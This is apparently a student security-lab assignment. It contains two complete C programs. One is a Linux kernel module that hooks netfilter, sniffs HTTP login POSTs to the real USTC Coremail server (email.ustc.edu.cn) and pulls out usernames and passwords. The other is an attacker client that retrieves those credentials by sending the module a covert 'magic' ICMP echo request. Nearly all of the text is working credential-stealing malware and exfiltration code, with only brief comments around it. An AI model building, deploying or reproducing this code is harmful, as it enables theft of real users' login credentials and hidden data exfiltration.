信息安全实验二
受害者端:nfsniff.c
#include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/icmp.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define MAGIC_CODE 0x77 // ICMP CODE #define REPLY_SIZE 36 // tartget_ip(4B) + username(16B) + password(16B) #define SUCCESS 1 #define FAILURE -1 #define IP_202_38_64_8 138421962 // email.ustc.edu.cn static const char *post_uri = "POST /coremail/index.jsp?cus=1"; static const int post_uri_len = 30; static const unsigned int target_ip = IP_202_38_64_8; static char *username = NULL; static char *password = NULL; static struct nf_hook_ops pre_hook; static struct nf_hook_ops post_hook; /** * 过滤器:发现我想要的数据包,如下: * dest_ip:202.38.64.8 (email.ustc.edu.cn) * tcp_dest_port:80 * POST_URI:POST /coremail/index.jsp?cus=1 * * @return SUCCESS/FAILURE */ static unsigned int findpkt_iwant(struct sk_buff *skb) { struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL; int tcp_payload_len = 0; ip = (struct iphdr *)skb_network_header(skb); //skb是ip数据报缓存 skb_network_header(skb)是返回ip数据报的首部 if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP) return FAILURE; tcp = (struct tcphdr *)skb_transport_header(skb); //tcp报文字段的长度 tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); //指向tcp报文段的数据部分 data = (char *)((char *)tcp + (tcp->doff<<2)); if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0) { return FAILURE; } printk("--------------- findpkt_iwant ------------------\n"); printk("ip_hdrlen: %d\n", (ip->ihl<<2)); printk("tcp_hdrlen: %d\n", (tcp->doff<<2)); printk("ip_total_len: %d\n", ntohs(ip->tot_len)); printk("tcp_payload_len: %d\n", tcp_payload_len); printk("ip_addr: 0x%p\n", ip); printk("tcp_addr: 0x%p\n", tcp); printk("tcp_data_addr: 0x%p\n", data); printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]); printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]); printk("--------------- findpkt_iwant ------------------\n"); return SUCCESS; } /** * 使用KMP算法进行字符串匹配 * @return 匹配(>=0)/未匹配(-1) */ static int kmp(const char *cs, int cslen, const char *ct, int ctlen) { int i = 0, j = -1; int *next = NULL; // 1) get next[] next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL); if (next == NULL) return -1; next[0] = -1, next[1] = 0; while (i < ctlen) { if (j == -1 || ct[i] == ct[j]) { i++, j++; next[i] = j; } else { j = next[j]; } } // 2) match i = 0, j = 0; while (i < cslen && j < ctlen) { if (j == -1 || cs[i] == ct[j]) { i++, j++; } else { j = next[j]; } } kfree(next); next = NULL; return j >= ctlen ? (i - ctlen) : -1; } /** * 从URL的参数中提取key对应的value值 * 比如:uid=lichaoxi&password=1234 * @param urlparam urlparam的首地址 * @param ulen url的长度 * @param key 如:uid=,password= * @param klen key的长度(注意后面还有个=号) * @return 成功找到(包含value的字符串首地址)/失败(NULL) */ char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) { int index = 0, i = 0; char *value = NULL; if ((index = kmp(urlparam, ulen, key, klen)) == -1) return NULL; urlparam += (index + klen); ulen -= (index + klen); // username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26 // http://www.atool88.com/urlencode.php for (i = 0; i < ulen && urlparam[i] != '&'; i++); if (i >= ulen) return NULL; // i + 1, for the last char '\0' if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL) return NULL; memcpy(value, urlparam, i); value[i] = '\0'; return value; } /** * 从HTTP数据包中抓取 username, password * 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤 * * @author southday * @date 2019.04.13 */ static void fetch_http(struct sk_buff *skb) { struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL; // tcp data int tcp_payload_len = 0; int i = 0, index = -1; int content_len = 0; // Cotent-Length ip = (struct iphdr *)skb_network_header(skb); tcp = (struct tcphdr *)skb_transport_header(skb); tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); data = (char *)tcp + (tcp->doff<<2); // e.g: Content-Length: 77\r\n index = kmp(data, tcp_payload_len, "Content-Length: ", 16); if (index == -1) return; data += (index + 16); // data point to: 77\r\n for (i = 0; data[i] != '\r'; i++) content_len = content_len*10 + ((int)data[i]-'0'); // now content_len = 77 // data point to layer: HTML Form URL Encode data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len); // 1) fetch username username = fetch_urlparam(data, content_len, "uid=", 4); // 2) fetch password password = fetch_urlparam(data, content_len, "password=", 9); if (username == NULL || password == NULL) return; printk("----------------- fetch_http -------------------\n"); printk("content_len = %d\n", content_len); printk("urlencode(username): %s\n", username); printk("urlencode(password): %s\n", password); printk("----------------- fetch_http -------------------\n"); } /** * 是否已经抓取到一对<用户名,密码> * @return 是(1)/否(0) */ static int hasPair(void) { return username != NULL && password != NULL; } /** * POST_ROUTING,将数据包发送出去的前一个HOOK点; * 用于监听本机往外发送的数据包,并从中提取出所需的username,password; * 下面实现的是对于网址 http://email.ustc.edu.cn 的监听 * > nslookup email.ustc.edu.cn => Address: 202.38.64.8 */ static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { if (findpkt_iwant(skb) == FAILURE) return NF_ACCEPT; printk("findpkt_iwant ====> SUCCESS\n"); if (!hasPair()) fetch_http(skb); return NF_ACCEPT; } /** * PRE_ROUTING,接收数据包的第一个HOOK点; * 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77), * 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker; */ static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct iphdr *ip = NULL; struct icmphdr *icmp = NULL; int icmp_payload_len = 0; char *cp_data = NULL; // copy pointer unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr) ip = (struct iphdr *)skb_network_header(skb); if (!hasPair() || ip->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2)); // 最后8字节为 ICMP首部长度 icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8; if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || icmp_payload_len < REPLY_SIZE) { return NF_ACCEPT; } // 因为要往回发包,所以交换源、目的IP temp_ipaddr = ip->saddr; ip->saddr = ip->daddr; ip->daddr = temp_ipaddr; skb->pkt_type = PACKET_OUTGOING; switch (skb->dev->type) { case ARPHRD_PPP: break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char temp_hwaddr[ETH_ALEN]; struct ethhdr *eth = NULL; // Move the data pointer to point to the link layer header eth = (struct ethhdr *)eth_hdr(skb); skb->data = (unsigned char*)eth; skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet); memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN); memcpy(eth->h_dest, eth->h_source, ETH_ALEN); memcpy(eth->h_source, temp_hwaddr, ETH_ALEN); break; } } // copy target_ip, username, password into packet cp_data = (char *)icmp + 8; memcpy(cp_data, &target_ip, 4); memcpy(cp_data+4, username, 16); memcpy(cp_data+20, password, 16); printk("watch_in STOLEN ====> SUCCESS\n"); printk("urlencode(username): %s\n", username); printk("urlencode(password): %s\n", password); dev_queue_xmit(skb); // 发送数据帧 kfree(username); kfree(password); username = password = NULL; return NF_STOLEN; } int init_module(void) { pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.hooknum = NF_INET_PRE_ROUTING; pre_hook.priority = NF_IP_PRI_FIRST; nf_register_net_hook(&init_net, &pre_hook); post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.hooknum = NF_INET_POST_ROUTING; post_hook.priority = NF_IP_PRI_FIRST; nf_register_net_hook(&init_net, &post_hook); printk("init_module\n"); return 0; } void cleanup_module(void) { nf_unregister_net_hook(&init_net, &pre_hook); nf_unregister_net_hook(&init_net, &post_hook); printk("cleanup_module\n"); }
攻击者端 getpass.c
#include<stdlib.h> #include<stdio.h> #include<string.h> #include<unistd.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<netinet/ip_icmp.h> #include<linux/if_ether.h> #include<arpa/inet.h> #define BUFF_SIZE 256 #define SUCCESS 1 #define FAILURE -1 #define MAGIC_CODE 0x77 // ICMP ECHO CODE struct sockaddr_in remoteip; struct in_addr server_addr; int recvsockfd = -1; int sendsockfd = -1; unsigned char recvbuff[BUFF_SIZE]; unsigned char sendbuff[BUFF_SIZE]; int load_args(const int argc, char **); void print_cmdprompt(); int send_icmp_request(); int recv_icmp_reply(); unsigned short cksum(unsigned short *, int len); void print_ippacket_inbyte(unsigned char *); int main(int argc, char **argv) { if (load_args(argc, argv) < 0) { printf("command format error!\n"); print_cmdprompt(); return FAILURE; } recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (recvsockfd < 0 || sendsockfd < 0) { perror("socket creation error"); return FAILURE; } printf("lcx-getpass running...\n"); // 1) 发送ICMP ECHO 回送请求报文 send_icmp_request(); // 2) 接收ICMP ECHO 回送回答报文 recv_icmp_reply(); close(sendsockfd); close(recvsockfd); return 0; } /** * 命令:lcx-getpass 192.168.23.131 * 载入参数:192.168.23.131,表示受害者主机IP地址 */ int load_args(const int argc, char *argv[]) { if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0) return FAILURE; return SUCCESS; } /** * 打印命令提示信息 */ void print_cmdprompt() { printf("\nlcx-getpass [remoteip]\n\n"); printf("\t [remoteip] Victim host IP address, eg: 192.168.23.131\n"); } /** * 发送ICMP回送请求报文 */ int send_icmp_request() { bzero(sendbuff, BUFF_SIZE); // 构造ICMP ECHO首部 struct icmp *icmp = (struct icmp *)sendbuff; icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8 icmp->icmp_code = MAGIC_CODE; icmp->icmp_cksum = 0; // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password)) icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36); printf("sending request........\n"); int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip)); if (ret < 0) { perror("send error"); } else { printf("send a icmp echo request packet!\n\n"); } return SUCCESS; } /** * 接收ICMP回送回答报文 */ int recv_icmp_reply() { bzero(recvbuff, BUFF_SIZE); printf("waiting for reply......\n"); if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) { printf("failed getting reply packet\n"); return FAILURE; } struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20); memcpy(&server_addr, (char *)icmp+8, 4); // 打印IP包字节数据,便于调试 print_ippacket_inbyte(recvbuff); printf("stolen from http server: %s\n", inet_ntoa(server_addr)); printf("username: %s\n", (char *)((char *)icmp + 12)); printf("password: %s\n", (char *)((char *)icmp + 28)); return SUCCESS; } /** * 计算校验和 * 1) IP:IP首部 * 2) ICMP:首部+数据 * @param *addr 开始计算校验和的入口地址 * @param len 计算校验和所使用的数据长度,单位Byte * @return 16位的校验和 */ unsigned short cksum(unsigned short *addr, int len) { int sum = 0; unsigned short res = 0; /* len -= 2,因为 sizeof(unsigned short) = 2; * sum += *(addr++),每次偏移2Byte */ for (; len > 1; sum += *(addr++), len -= 2); // 每次处理2Byte,可能会存在多余的1Byte sum += len == 1 ? *addr : 0; // sum:高16位 + 低16位,高16位中存在可能的进位 sum = (sum >> 16) + (sum & 0xffff); // sum + sum的高16位,高16位中存在可能的进位 sum += (sum >> 16); // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位 res = ~sum; return res; } /** * 以单字节形式打印IP数据包,包括首部和数据部分,并且模仿wireshark的格式,便于调试 */ void print_ippacket_inbyte(unsigned char *ipbuff) { struct ip *ip = (struct ip *)ipbuff; printf(" %02x %02x", ipbuff[0], ipbuff[1]); for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) { if (i % 16 == 0) printf("\n"); if (i % 8 == 0) printf(" "); printf("%02x ", ipbuff[i+2]); } printf("\n"); }